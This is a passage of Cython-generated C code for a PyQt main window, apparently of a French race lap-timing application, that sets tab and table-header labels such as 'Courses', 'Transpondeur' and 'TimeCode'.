__Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_3}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__677, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_2, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_3 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 1+__pyx_t_8, __pyx_t_4); __pyx_t_2 = 0; __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1080, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1081 * item.setText(_translate("MainWindow", "Meilleur")) * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) * item = self.TM_T_passage.horizontalHeaderItem(0) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Race); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_6) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_5); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_7, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__678, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_2); __pyx_t_5 = 0; __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1081, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1082 * self.toolBox.setItemText(self.toolBox.indexOf(self.P_Laptime), _translate("MainWindow", "Laptime")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(0) * item.setText(_translate("MainWindow", "Decode / Pos.")) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setTabText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_Tab_Container); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_indexOf); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_T_Results); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__679, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[3] = {__pyx_t_6, __pyx_t_3, __pyx_t_5}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_2 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_t_5); __pyx_t_3 = 0; __pyx_t_5 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1082, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1083 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Race), _translate("MainWindow", "Courses")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) * item = self.TM_T_passage.horizontalHeaderItem(0) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Decode / Pos.")) * item = self.TM_T_passage.horizontalHeaderItem(1) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1083, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1083, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__680, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1083, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1084 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Results), _translate("MainWindow", "Rsultats")) * item = self.TM_T_passage.horizontalHeaderItem(0) * item.setText(_translate("MainWindow", "Decode / Pos.")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(1) * item.setText(_translate("MainWindow", "TimeCode ")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1084, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__681, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 1084, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1084, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1084, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1084, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1084, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1084, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1085 * item = self.TM_T_passage.horizontalHeaderItem(0) * item.setText(_translate("MainWindow", "Decode / Pos.")) * item = self.TM_T_passage.horizontalHeaderItem(1) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "TimeCode ")) * item = self.TM_T_passage.horizontalHeaderItem(2) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1085, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1085, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__682, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1085, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1086 * item.setText(_translate("MainWindow", "Decode / Pos.")) * item = self.TM_T_passage.horizontalHeaderItem(1) * item.setText(_translate("MainWindow", "TimeCode ")) # <<<<<<<<<<<<<< * item = self.TM_T_passage.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Transpondeur")) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setText); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1086, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__683, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 1086, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1086, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1086, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1086, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 1086, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1086, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":1087 * item = self.TM_T_passage.horizontalHeaderItem(1) * item.setText(_translate("MainWindow", "TimeCode ")) * item = self.TM_T_passage.horizontalHeaderItem(2) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Transpondeur")) * item = self.TM_T_passage.horizontalHeaderItem(3) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 1087, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_horizontalHeaderItem); if 